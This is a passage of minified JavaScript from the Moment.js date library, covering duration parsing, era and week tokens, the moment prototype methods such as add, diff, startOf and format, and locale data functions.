Gt=/^(-|\+)?(?:(\d*)[. ])?(\d+):(\d+)(?::(\d+)(\.\d*)?)?$/,Kt=/^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/;function Xt(e,t){var i,n,r,s,a,l,u=e,d=null;return Ft(e)?u={ms:e._milliseconds,d:e._days,M:e._months}:c(e)||!isNaN(+e)?(u={},t?u[t]=+e:u.milliseconds=+e):(d=Gt.exec(e))?(i="-"===d[1]?-1:1,u={y:0,d:he(d[be])*i,h:he(d[we])*i,m:he(d[Te])*i,s:he(d[ke])*i,ms:he(Bt(1e3*d[Se]))*i}):(d=Kt.exec(e))?(i="-"===d[1]?-1:1,u={y:Zt(d[2],i),M:Zt(d[3],i),w:Zt(d[4],i),d:Zt(d[5],i),h:Zt(d[6],i),m:Zt(d[7],i),s:Zt(d[8],i)}):null==u?u={}:"object"==typeof u&&("from"in u||"to"in u)&&(s=Yt(u.from),a=Yt(u.to),r=s.isValid()&&a.isValid()?(a=qt(a,s),s.isBefore(a)?l=Qt(s,a):((l=Qt(a,s)).milliseconds=-l.milliseconds,l.months=-l.months),l):{milliseconds:0,months:0},(u={}).ms=r.milliseconds,u.M=r.months),n=new Ht(u),Ft(e)&&o(e,"_locale")&&(n._locale=e._locale),Ft(e)&&o(e,"_isValid")&&(n._isValid=e._isValid),n}function Zt(e,t){var i=e&&parseFloat(e.replace(",","."));return(isNaN(i)?0:i)*t}function Qt(e,t){var i={};return i.months=t.month()-e.month()+12*(t.year()-e.year()),e.clone().add(i.months,"M").isAfter(t)&&--i.months,i.milliseconds=+t-+e.clone().add(i.months,"M"),i}function ei(e,t){return function(i,n){var r;return null===n||isNaN(+n)||(L(t,"moment()."+t+"(period, number) is deprecated. Please use moment()."+t+"(number, period). See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."),r=i,i=n,n=r),ti(this,Xt(i,n),e),this}}function ti(e,t,i,n){var s=t._milliseconds,a=Bt(t._days),o=Bt(t._months);e.isValid()&&(n=null==n||n,o&&He(e,Pe(e,"Month")+o*i),a&&Ae(e,"Date",Pe(e,"Date")+a*i),s&&e._d.setTime(e._d.valueOf()+s*i),n&&r.updateOffset(e,a||o))}Xt.fn=Ht.prototype,Xt.invalid=function(){return Xt(NaN)};var ii=ei(1,"add"),ni=ei(-1,"subtract");function ri(e){return"string"==typeof e||e instanceof String}function si(e){return T(e)||d(e)||ri(e)||c(e)||function(e){var t=s(e),i=!1;return t&&(i=0===e.filter((function(t){return!c(t)&&ri(e)})).length),t&&i}(e)||function(e){var t,n=a(e)&&!l(e),r=!1,s=["years","year","y","months","month","M","days","day","d","dates","date","D","hours","hour","h","minutes","minute","m","seconds","second","s","milliseconds","millisecond","ms"],u=s.length;for(t=0;t<u;t+=1)r=r||o(e,s[t]);return n&&r}(e)||null==e}function ai(e,t){if(e.date()<t.date())return-ai(t,e);var i=12*(t.year()-e.year())+(t.month()-e.month()),n=e.clone().add(i,"months");return-(i+(t-n<0?(t-n)/(n-e.clone().add(i-1,"months")):(t-n)/(e.clone().add(i+1,"months")-n)))||0}function oi(e){var t;return void 0===e?this._locale._abbr:(null!=(t=_t(e))&&(this._locale=t),this)}r.defaultFormat="YYYY-MM-DDTHH:mm:ssZ",r.defaultFormatUtc="YYYY-MM-DDTHH:mm:ss[Z]";var li=S("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.",(function(e){return void 0===e?this.localeData():this.locale(e)}));function ui(){return this._locale}var di=6e4,hi=36e5,pi=126227808e5;function fi(e,t){return(e%t+t)%t}function mi(e,t,i){return e<100&&e>=0?new Date(e+400,t,i)-pi:new Date(e,t,i).valueOf()}function gi(e,t,i){return e<100&&e>=0?Date.UTC(e+400,t,i)-pi:Date.UTC(e,t,i)}function _i(e,t){return t.erasAbbrRegex(e)}function vi(){var e,t,i,n,r,s=[],a=[],o=[],l=[],u=this.eras();for(e=0,t=u.length;e<t;++e)i=ce(u[e].name),n=ce(u[e].abbr),r=ce(u[e].narrow),a.push(i),s.push(n),o.push(r),l.push(i),l.push(n),l.push(r);this._erasRegex=new RegExp("^("+l.join("|")+")","i"),this._erasNameRegex=new RegExp("^("+a.join("|")+")","i"),this._erasAbbrRegex=new RegExp("^("+s.join("|")+")","i"),this._erasNarrowRegex=new RegExp("^("+o.join("|")+")","i")}function yi(e,t){$(0,[e,e.length],0,t)}function bi(e,t,i,n,r){var s;return null==e?Ve(this,n,r).year:(t>(s=Je(e,n,r))&&(t=s),wi.call(this,e,t,i,n,r))}function wi(e,t,i,n,r){var s=qe(e,t,i,n,r),a=We(s.year,0,s.dayOfYear);return this.year(a.getUTCFullYear()),this.month(a.getUTCMonth()),this.date(a.getUTCDate()),this}$("N",0,0,"eraAbbr"),$("NN",0,0,"eraAbbr"),$("NNN",0,0,"eraAbbr"),$("NNNN",0,0,"eraName"),$("NNNNN",0,0,"eraNarrow"),$("y",["y",1],"yo","eraYear"),$("y",["yy",2],0,"eraYear"),$("y",["yyy",3],0,"eraYear"),$("y",["yyyy",4],0,"eraYear"),le("N",_i),le("NN",_i),le("NNN",_i),le("NNNN",(function(e,t){return t.erasNameRegex(e)})),le("NNNNN",(function(e,t){return t.erasNarrowRegex(e)})),fe(["N","NN","NNN","NNNN","NNNNN"],(function(e,t,i,n){var r=i._locale.erasParse(e,n,i._strict);r?m(i).era=r:m(i).invalidEra=e})),le("y",te),le("yy",te),le("yyy",te),le("yyyy",te),le("yo",(function(e,t){return t._eraYearOrdinalRegex||te})),fe(["y","yy","yyy","yyyy"],ve),fe(["yo"],(function(e,t,i,n){var r;i._locale._eraYearOrdinalRegex&&(r=e.match(i._locale._eraYearOrdinalRegex)),i._locale.eraYearOrdinalParse?t[ve]=i._locale.eraYearOrdinalParse(e,r):t[ve]=parseInt(e,10)})),$(0,["gg",2],0,(function(){return this.weekYear()%100})),$(0,["GG",2],0,(function(){return this.isoWeekYear()%100})),yi("gggg","weekYear"),yi("ggggg","weekYear"),yi("GGGG","isoWeekYear"),yi("GGGGG","isoWeekYear"),le("G",ie),le("g",ie),le("GG",G,z),le("gg",G,z),le("GGGG",Q,V),le("gggg",Q,V),le("GGGGG",ee,J),le("ggggg",ee,J),me(["gggg","ggggg","GGGG","GGGGG"],(function(e,t,i,n){t[n.substr(0,2)]=he(e)})),me(["gg","GG"],(function(e,t,i,n){t[n]=r.parseTwoDigitYear(e)})),$("Q",0,"Qo","quarter"),le("Q",W),fe("Q",(function(e,t){t[ye]=3*(he(e)-1)})),$("D",["DD",2],"Do","date"),le("D",G,ae),le("DD",G,z),le("Do",(function(e,t){return e?t._dayOfMonthOrdinalParse||t._ordinalParse:t._dayOfMonthOrdinalParseLenient})),fe(["D","DD"],be),fe("Do",(function(e,t){t[be]=he(e.match(G)[0])}));var Ti=Ee("Date",!0);$("DDD",["DDDD",3],"DDDo","dayOfYear"),le("DDD",Z),le("DDDD",q),fe(["DDD","DDDD"],(function(e,t,i){i._dayOfYear=he(e)})),$("m",["mm",2],0,"minute"),le("m",G,oe),le("mm",G,z),fe(["m","mm"],Te);var ki=Ee("Minutes",!1);$("s",["ss",2],0,"second"),le("s",G,oe),le("ss",G,z),fe(["s","ss"],ke);var Si,Mi,xi=Ee("Seconds",!1);for($("S",0,0,(function(){return~~(this.millisecond()/100)})),$(0,["SS",2],0,(function(){return~~(this.millisecond()/10)})),$(0,["SSS",3],0,"millisecond"),$(0,["SSSS",4],0,(function(){return 10*this.millisecond()})),$(0,["SSSSS",5],0,(function(){return 100*this.millisecond()})),$(0,["SSSSSS",6],0,(function(){return 1e3*this.millisecond()})),$(0,["SSSSSSS",7],0,(function(){return 1e4*this.millisecond()})),$(0,["SSSSSSSS",8],0,(function(){return 1e5*this.millisecond()})),$(0,["SSSSSSSSS",9],0,(function(){return 1e6*this.millisecond()})),le("S",Z,W),le("SS",Z,z),le("SSS",Z,q),Si="SSSS";Si.length<=9;Si+="S")le(Si,te);function Li(e,t){t[Se]=he(1e3*("0."+e))}for(Si="S";Si.length<=9;Si+="S")fe(Si,Li);Mi=Ee("Milliseconds",!1),$("z",0,0,"zoneAbbr"),$("zz",0,0,"zoneName");var Ci=w.prototype;function Di(e){return e}Ci.add=ii,Ci.calendar=function(e,t){1===arguments.length&&(arguments[0]?si(arguments[0])?(e=arguments[0],t=void 0):function(e){var t,i=a(e)&&!l(e),n=!1,r=["sameDay","nextDay","lastDay","nextWeek","lastWeek","sameElse"];for(t=0;t<r.length;t+=1)n=n||o(e,r[t]);return i&&n}(arguments[0])&&(t=arguments[0],e=void 0):(e=void 0,t=void 0));var i=e||Yt(),n=qt(i,this).startOf("day"),s=r.calendarFormat(this,n)||"sameElse",u=t&&(C(t[s])?t[s].call(this,i):t[s]);return this.format(u||this.localeData().calendar(s,this,Yt(i)))},Ci.clone=function(){return new w(this)},Ci.diff=function(e,t,i){var n,r,s;if(!this.isValid())return NaN;if(!(n=qt(e,this)).isValid())return NaN;switch(r=6e4*(n.utcOffset()-this.utcOffset()),t=H(t)){case"year":s=ai(this,n)/12;break;case"month":s=ai(this,n);break;case"quarter":s=ai(this,n)/3;break;case"second":s=(this-n)/1e3;break;case"minute":s=(this-n)/6e4;break;case"hour":s=(this-n)/36e5;break;case"day":s=(this-n-r)/864e5;break;case"week":s=(this-n-r)/6048e5;break;default:s=this-n}return i?s:de(s)},Ci.endOf=function(e){var t,i;if(void 0===(e=H(e))||"millisecond"===e||!this.isValid())return this;switch(i=this._isUTC?gi:mi,e){case"year":t=i(this.year()+1,0,1)-1;break;case"quarter":t=i(this.year(),this.month()-this.month()%3+3,1)-1;break;case"month":t=i(this.year(),this.month()+1,1)-1;break;case"week":t=i(this.year(),this.month(),this.date()-this.weekday()+7)-1;break;case"isoWeek":t=i(this.year(),this.month(),this.date()-(this.isoWeekday()-1)+7)-1;break;case"day":case"date":t=i(this.year(),this.month(),this.date()+1)-1;break;case"hour":t=this._d.valueOf(),t+=hi-fi(t+(this._isUTC?0:this.utcOffset()*di),hi)-1;break;case"minute":t=this._d.valueOf(),t+=di-fi(t,di)-1;break;case"second":t=this._d.valueOf(),t+=1e3-fi(t,1e3)-1}return this._d.setTime(t),r.updateOffset(this,!0),this},Ci.format=function(e){e||(e=this.isUtc()?r.defaultFormatUtc:r.defaultFormat);var t=j(this,e);return this.localeData().postformat(t)},Ci.from=function(e,t){return this.isValid()&&(T(e)&&e.isValid()||Yt(e).isValid())?Xt({to:this,from:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Ci.fromNow=function(e){return this.from(Yt(),e)},Ci.to=function(e,t){return this.isValid()&&(T(e)&&e.isValid()||Yt(e).isValid())?Xt({from:this,to:e}).locale(this.locale()).humanize(!t):this.localeData().invalidDate()},Ci.toNow=function(e){return this.to(Yt(),e)},Ci.get=function(e){return C(this[e=H(e)])?this[e]():this},Ci.invalidAt=function(){return m(this).overflow},Ci.isAfter=function(e,t){var i=T(e)?e:Yt(e);return!(!this.isValid()||!i.isValid())&&("millisecond"===(t=H(t)||"millisecond")?this.valueOf()>i.valueOf():i.valueOf()<this.clone().startOf(t).valueOf())},Ci.isBefore=function(e,t){var i=T(e)?e:Yt(e);return!(!this.isValid()||!i.isValid())&&("millisecond"===(t=H(t)||"millisecond")?this.valueOf()<i.valueOf():this.clone().endOf(t).valueOf()<i.valueOf())},Ci.isBetween=function(e,t,i,n){var r=T(e)?e:Yt(e),s=T(t)?t:Yt(t);return!!(this.isValid()&&r.isValid()&&s.isValid())&&("("===(n=n||"()")[0]?this.isAfter(r,i):!this.isBefore(r,i))&&(")"===n[1]?this.isBefore(s,i):!this.isAfter(s,i))},Ci.isSame=function(e,t){var i,n=T(e)?e:Yt(e);return!(!this.isValid()||!n.isValid())&&("millisecond"===(t=H(t)||"millisecond")?this.valueOf()===n.valueOf():(i=n.valueOf(),this.clone().startOf(t).valueOf()<=i&&i<=this.clone().endOf(t).valueOf()))},Ci.isSameOrAfter=function(e,t){return this.isSame(e,t)||this.isAfter(e,t)},Ci.isSameOrBefore=function(e,t){return this.isSame(e,t)||this.isBefore(e,t)},Ci.isValid=function(){return g(this)},Ci.lang=li,Ci.locale=oi,Ci.localeData=ui,Ci.max=jt,Ci.min=$t,Ci.parsingFlags=function(){return p({},m(this))},Ci.set=function(e,t){if("object"==typeof e){var i,n=function(e){var t,i=[];for(t in e)o(e,t)&&i.push({unit:t,priority:B[t]});return i.sort((function(e,t){return e.priority-t.priority})),i}(e=F(e)),r=n.length;for(i=0;i<r;i++)this[n[i].unit](e[n[i].unit])}else if(C(this[e=H(e)]))return this[e](t);return this},Ci.startOf=function(e){var t,i;if(void 0===(e=H(e))||"millisecond"===e||!this.isValid())return this;switch(i=this._isUTC?gi:mi,e){case"year":t=i(this.year(),0,1);break;case"quarter":t=i(this.year(),this.month()-this.month()%3,1);break;case"month":t=i(this.year(),this.month(),1);break;case"week":t=i(this.year(),this.month(),this.date()-this.weekday());break;case"isoWeek":t=i(this.year(),this.month(),this.date()-(this.isoWeekday()-1));break;case"day":case"date":t=i(this.year(),this.month(),this.date());break;case"hour":t=this._d.valueOf(),t-=fi(t+(this._isUTC?0:this.utcOffset()*di),hi);break;case"minute":t=this._d.valueOf(),t-=fi(t,di);break;case"second":t=this._d.valueOf(),t-=fi(t,1e3)}return this._d.setTime(t),r.updateOffset(this,!0),this},Ci.subtract=ni,Ci.toArray=function(){var e=this;return[e.year(),e.month(),e.date(),e.hour(),e.minute(),e.second(),e.millisecond()]},Ci.toObject=function(){var e=this;return{years:e.year(),months:e.month(),date:e.date(),hours:e.hours(),minutes:e.minutes(),seconds:e.seconds(),milliseconds:e.milliseconds()}},Ci.toDate=function(){return new Date(this.valueOf())},Ci.toISOString=function(e){if(!this.isValid())return null;var t=!0!==e,i=t?this.clone().utc():this;return i.year()<0||i.year()>9999?j(i,t?"YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYYYY-MM-DD[T]HH:mm:ss.SSSZ"):C(Date.prototype.toISOString)?t?this.toDate().toISOString():new Date(this.valueOf()+60*this.utcOffset()*1e3).toISOString().replace("Z",j(i,"Z")):j(i,t?"YYYY-MM-DD[T]HH:mm:ss.SSS[Z]":"YYYY-MM-DD[T]HH:mm:ss.SSSZ")},Ci.inspect=function(){if(!this.isValid())return"moment.invalid(/* "+this._i+" */)";var e,t,i,n="moment",r="";return this.isLocal()||(n=0===this.utcOffset()?"moment.utc":"moment.parseZone",r="Z"),e="["+n+'("]',t=0<=this.year()&&this.year()<=9999?"YYYY":"YYYYYY",i=r+'[")]',this.format(e+t+"-MM-DD[T]HH:mm:ss.SSS"+i)},"undefined"!=typeof Symbol&&null!=Symbol.for&&(Ci[Symbol.for("nodejs.util.inspect.custom")]=function(){return"Moment<"+this.format()+">"}),Ci.toJSON=function(){return this.isValid()?this.toISOString():null},Ci.toString=function(){return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ")},Ci.unix=function(){return Math.floor(this.valueOf()/1e3)},Ci.valueOf=function(){return this._d.valueOf()-6e4*(this._offset||0)},Ci.creationData=function(){return{input:this._i,format:this._f,locale:this._locale,isUTC:this._isUTC,strict:this._strict}},Ci.eraName=function(){var e,t,i,n=this.localeData().eras();for(e=0,t=n.length;e<t;++e){if(i=this.clone().startOf("day").valueOf(),n[e].since<=i&&i<=n[e].until)return n[e].name;if(n[e].until<=i&&i<=n[e].since)return n[e].name}return""},Ci.eraNarrow=function(){var e,t,i,n=this.localeData().eras();for(e=0,t=n.length;e<t;++e){if(i=this.clone().startOf("day").valueOf(),n[e].since<=i&&i<=n[e].until)return n[e].narrow;if(n[e].until<=i&&i<=n[e].since)return n[e].narrow}return""},Ci.eraAbbr=function(){var e,t,i,n=this.localeData().eras();for(e=0,t=n.length;e<t;++e){if(i=this.clone().startOf("day").valueOf(),n[e].since<=i&&i<=n[e].until)return n[e].abbr;if(n[e].until<=i&&i<=n[e].since)return n[e].abbr}return""},Ci.eraYear=function(){var e,t,i,n,s=this.localeData().eras();for(e=0,t=s.length;e<t;++e)if(i=s[e].since<=s[e].until?1:-1,n=this.clone().startOf("day").valueOf(),s[e].since<=n&&n<=s[e].until||s[e].until<=n&&n<=s[e].since)return(this.year()-r(s[e].since).year())*i+s[e].offset;return this.year()},Ci.year=De,Ci.isLeapYear=function(){return _e(this.year())},Ci.weekYear=function(e){return bi.call(this,e,this.week(),this.weekday()+this.localeData()._week.dow,this.localeData()._week.dow,this.localeData()._week.doy)},Ci.isoWeekYear=function(e){return bi.call(this,e,this.isoWeek(),this.isoWeekday(),1,4)},Ci.quarter=Ci.quarters=function(e){return null==e?Math.ceil((this.month()+1)/3):this.month(3*(e-1)+this.month()%3)},Ci.month=Fe,Ci.daysInMonth=function(){return Ie(this.year(),this.month())},Ci.week=Ci.weeks=function(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")},Ci.isoWeek=Ci.isoWeeks=function(e){var t=Ve(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")},Ci.weeksInYear=function(){var e=this.localeData()._week;return Je(this.year(),e.dow,e.doy)},Ci.weeksInWeekYear=function(){var e=this.localeData()._week;return Je(this.weekYear(),e.dow,e.doy)},Ci.isoWeeksInYear=function(){return Je(this.year(),1,4)},Ci.isoWeeksInISOWeekYear=function(){return Je(this.isoWeekYear(),1,4)},Ci.date=Ti,Ci.day=Ci.days=function(e){if(!this.isValid())return null!=e?this:NaN;var t=Pe(this,"Day");return null!=e?(e=function(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}(e,this.localeData()),this.add(e-t,"d")):t},Ci.weekday=function(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")},Ci.isoWeekday=function(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=function(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7},Ci.dayOfYear=function(e){var t=Math.round((this.clone().startOf("day")-this.clone().startOf("year"))/864e5)+1;return null==e?t:this.add(e-t,"d")},Ci.hour=Ci.hours=ot,Ci.minute=Ci.minutes=ki,Ci.second=Ci.seconds=xi,Ci.millisecond=Ci.milliseconds=Mi,Ci.utcOffset=function(e,t,i){var n,s=this._offset||0;if(!this.isValid())return null!=e?this:NaN;if(null!=e){if("string"==typeof e){if(null===(e=zt(re,e)))return this}else Math.abs(e)<16&&!i&&(e*=60);return!this._isUTC&&t&&(n=Vt(this)),this._offset=e,this._isUTC=!0,null!=n&&this.add(n,"m"),s!==e&&(!t||this._changeInProgress?ti(this,Xt(e-s,"m"),1,!1):this._changeInProgress||(this._changeInProgress=!0,r.updateOffset(this,!0),this._changeInProgress=null)),this}return this._isUTC?s:Vt(this)},Ci.utc=function(e){return this.utcOffset(0,e)},Ci.local=function(e){return this._isUTC&&(this.utcOffset(0,e),this._isUTC=!1,e&&this.subtract(Vt(this),"m")),this},Ci.parseZone=function(){if(null!=this._tzm)this.utcOffset(this._tzm,!1,!0);else if("string"==typeof this._i){var e=zt(ne,this._i);null!=e?this.utcOffset(e):this.utcOffset(0,!0)}return this},Ci.hasAlignedHourOffset=function(e){return!!this.isValid()&&(e=e?Yt(e).utcOffset():0,(this.utcOffset()-e)%60==0)},Ci.isDST=function(){return this.utcOffset()>this.clone().month(0).utcOffset()||this.utcOffset()>this.clone().month(5).utcOffset()},Ci.isLocal=function(){return!!this.isValid()&&!this._isUTC},Ci.isUtcOffset=function(){return!!this.isValid()&&this._isUTC},Ci.isUtc=Jt,Ci.isUTC=Jt,Ci.zoneAbbr=function(){return this._isUTC?"UTC":""},Ci.zoneName=function(){return this._isUTC?"Coordinated Universal Time":""},Ci.dates=S("dates accessor is deprecated. Use date instead.",Ti),Ci.months=S("months accessor is deprecated. Use month instead",Fe),Ci.years=S("years accessor is deprecated. Use year instead",De),Ci.zone=S("moment().zone is deprecated, use moment().utcOffset instead. http://momentjs.com/guides/#/warnings/zone/",(function(e,t){return null!=e?("string"!=typeof e&&(e=-e),this.utcOffset(e,t),this):-this.utcOffset()})),Ci.isDSTShifted=S("isDSTShifted is deprecated. See http://momentjs.com/guides/#/warnings/dst-shifted/ for more information",(function(){if(!u(this._isDSTShifted))return this._isDSTShifted;var e,t={};return b(t,this),(t=It(t))._a?(e=t._isUTC?f(t._a):Yt(t._a),this._isDSTShifted=this.isValid()&&function(e,t,i){var n,r=Math.min(e.length,t.length),s=Math.abs(e.length-t.length),a=0;for(n=0;n<r;n++)he(e[n])!==he(t[n])&&a++;return a+s}(t._a,e.toArray())>0):this._isDSTShifted=!1,this._isDSTShifted}));var Ei=E.prototype;function Pi(e,t,i,n){var r=_t(),s=f().set(n,t);return r[i](s,e)}function Ai(e,t,i){if(c(e)&&(t=e,e=void 0),e=e||"",null!=t)return Pi(e,t,i,"month");var n,r=[];for(n=0;n<12;n++)r[n]=Pi(e,n,i,"month");return r}function Ii(e,t,i,n){"boolean"==typeof e?(c(t)&&(i=t,t=void 0),t=t||""):(i=t=e,e=!1,c(t)&&(i=t,t=void 0),t=t||"");var r,s=_t(),a=e?s._week.dow:0,o=[];if(null!=i)return Pi(t,(i+a)%7,n,"day");for(r=0;r<7;r++)o[r]=Pi(t,(r+a)%7,n,"day");return o}Ei.calendar=function(e,t,i){var n=this._calendar[e]||this._calendar.sameElse;return C(n)?n.call(t,i):n},Ei.longDateFormat=function(e){var t=this._longDateFormat[e],i=this._longDateFormat[e.toUpperCase()];return t||!i?t:(this._longDateFormat[e]=i.match(A).map((function(e){return"MMMM"===e||"MM"===e||"DD"===e||"dddd"===e?e.slice(1):e})).join(""),this._longDateFormat[e])},Ei.invalidDate=function(){return this._invalidDate},Ei.ordinal=function(e){return this._ordinal.replace("%d",e)},Ei.preparse=Di,Ei.postformat=Di,Ei.relativeTime=function(e,t,i,n){var r=this._relativeTime[i];return C(r)?r(e,t,i,n):r.replace(/%d/i,e)},Ei.pastFuture=function(e,t){var i=this._relativeTime[e>0?"future":"past"];return C(i)?i(t):i.replace(/%s/i,t)},Ei.set=function(e){var t,i;for(i in e)o(e,i)&&(C(t=e[i])?this[i]=t:this["_"+i]=t);this._config=e,this._dayOfMonthOrdinalParseLenient=new RegExp((this._dayOfMonthOrdinalParse.source||this._ordinalParse.source)+"|"+/\d{1,2}/.source)},Ei.eras=function(e,t){var i,n,s,a=this._eras||_t("en")._eras;for(i=0,n=a.length;i<n;++i)switch("string"==typeof a[i].since&&(s=r(a[i].since).startOf("day"),a[i].since=s.valueOf()),typeof a[i].until){case"undefined":a[i].until=1/0;break;case"string":s=r(a[i].until).startOf("day").valueOf(),a[i].until=s.valueOf()}return a},Ei.erasParse=function(e,t,i){var n,r,s,a,o,l=this.eras();for(e=e.toUpperCase(),n=0,r=l.length;n<r;++n)if(s=l[n].name.toUpperCase(),a=l[n].abbr.toUpperCase(),o=l[n].narrow.toUpperCase(),i)switch(t){case"N":case"NN":case"NNN":if(a===e)return l[n];break;case"NNNN":if(s===e)return l[n];break;case"NNNNN":if(o===e)return l[n]}else if([s,a,o].indexOf(e)>=0)return l[n]},Ei.erasConvertYear=function(e,t){var i=e.since<=e.until?1:-1;return void 0===t?r(e.since).year():r(e.since).year()+(t-e.offset)*i},Ei.erasAbbrRegex=function(e){return o(this,"_erasAbbrRegex")||vi.call(this),e?this._erasAbbrRegex:this._erasRegex},Ei.erasNameRegex=function(e){return o(this,"_erasNameRegex")||vi.call(this),e?this._erasNameRegex:this._erasRegex},Ei.erasNarrowRegex=function(e){return o(this,"_erasNarrowRegex")||vi.call(this),e?this._erasNarrowRegex:this._erasRegex},Ei.months=function(e,t){return e?s(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||$e).test(t)?"format":"standalone"][e.month()]:s(this._months)?this._months:this._months.standalone},Ei.monthsShort=function(e,t){return e?s(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[$e.test(t)?"format":"standalone"][e.month()]:s(this._monthsShort)?this._monthsShort:this._monthsShort.standalone},Ei.monthsParse=function(e,t,i){var n,r,s;if(this._monthsParseExact)return Re.call(this,e,t,i);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),n=0;n<12;n++){if(r=f([2e3,n]),i&&!this._longMonthsParse[n]&&(this._longMonthsParse[n]=new RegExp("^"+this.months(r,"").replace(".","")+"$","i"),this._shortMonthsParse[n]=new RegExp("^"+this.monthsShort(r,"").replace(".","")+"$","i")),i||this._monthsParse[n]||(s="^"+this.months(r,"")+"|^"+this.monthsShort(r,""),this._monthsParse[n]=new RegExp(s.replace(".",""),"i")),i&&"MMMM"===t&&this._longMonthsParse[n].test(e))return n;if(i&&"MMM"===t&&this._shortMonthsParse[n].test(e))return n;if(!i&&this._monthsParse[n].test(e))return n}},Ei.monthsRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||Be.call(this),e?this._monthsStrictRegex:this._monthsRegex):(o(this,"_monthsRegex")||(this._monthsRegex=Ne),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)},Ei.monthsShortRegex=function(e){return this._monthsParseExact?(o(this,"_monthsRegex")||Be.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(o(this,"_monthsShortRegex")||(this._monthsShortRegex=je),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)},Ei.week=function(e){return Ve(e,this._week.dow,this._week.doy).week},Ei.firstDayOfYear=function(){return this._week.doy},Ei.firstDayOfWeek=function(){return this._week.dow},Ei.weekdays=function(e,t){var i=s(this._weekdays)?this._weekdays:this._weekdays[e&&!0!==e&&this._weekdays.isFormat.test(t)?"format":"standalone"];return!0===e?Ge(i,this._week.dow):e?i[e.day()]:i},Ei.weekdaysMin=function(e){return!0===e?Ge(this._weekdaysMin,this._week.dow):e?this._weekdaysMin[e.day()]:this._weekdaysMin},Ei.weekdaysShort=function(e){return!0===e?Ge(this._weekdaysShort,this._week.dow):e?this._weekdaysShort[e.day()]:this._weekdaysShort},Ei.weekdaysParse=function(e,t,i){var n,r,s;if(this._weekdaysParseExact)return it.call(this,e,t,i);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),n=0;n<7;n++){if(r=f([2e3,1]).day(n),i&&!this._fullWeekdaysParse[n]&&(this._fullWeekdaysParse[n]=new RegExp("^"+this.weekdays(r,"").replace(".","\\.?")+"$","i"),this._shortWeekdaysParse[n]=new RegExp("^"+this.weekdaysShort(r,"").replace(".","\\.?")+"$","i"),this._minWeekdaysParse[n]=new RegExp("^"+this.weekdaysMin(r,"").replace(".","\\.?")+"$","i")),this._weekdaysParse[n]||(s="^"+this.weekdays(r,"")+"|^"+this.weekdaysShort(r,"")+"|^"+this.weekdaysMin(r,""),this._weekdaysParse[n]=new RegExp(s.replace(".",""),"i")),i&&"dddd"===t&&this._fullWeekdaysParse[n].test(e))return n;if(i&&"ddd"===t&&this._shortWeekdaysParse[n].test(e))return n;if(i&&"dd"===t&&this._minWeekdaysParse[n].test(e))return n;if(!i&&this._weekdaysParse[n].test(e))return n}},Ei.weekdaysRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||nt.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(o(this,"_weekdaysRegex")||(this._weekdaysRegex=Qe),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)},Ei.weekdaysShortRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||nt.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(o(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=et),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)},Ei.weekdaysMinRegex=function(e){return this._weekdaysParseExact?(o(this,"_weekdaysRegex")||nt.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(o(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=tt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)},Ei.isPM=function(e){return"p"===(e+"").toLowerCase().charAt(0)},Ei.meridiem=function(e,t,i){return e>11?i?"pm":"PM":i?"am":"AM"},mt("en",{eras:[{since:"0001-01-01",until:1/0,offset:1,name:"Anno Domini",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"Before Christ",narrow:"BC",abbr:"BC"}],dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===he(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),r.lang=S("moment.lang is deprecated. Use moment.locale instead.",mt),r.langData=S("moment.langData is deprecated. Use moment.localeData instead.",_t);var Oi=Math.abs;function Yi(e,t,i,n){var r=Xt(t,i);return e._milliseconds+=n*r._milliseconds,e._days+=n*r._days,e._months+=n*r._months,e._bubble()}function $i(e){return e<0?Math.floor(e):Math.ceil(e)}function ji(e){return 4800*e/146097}function Ni(e){return 146097*e/4800}function Ri(e){return function(){return this.as(e)}}var 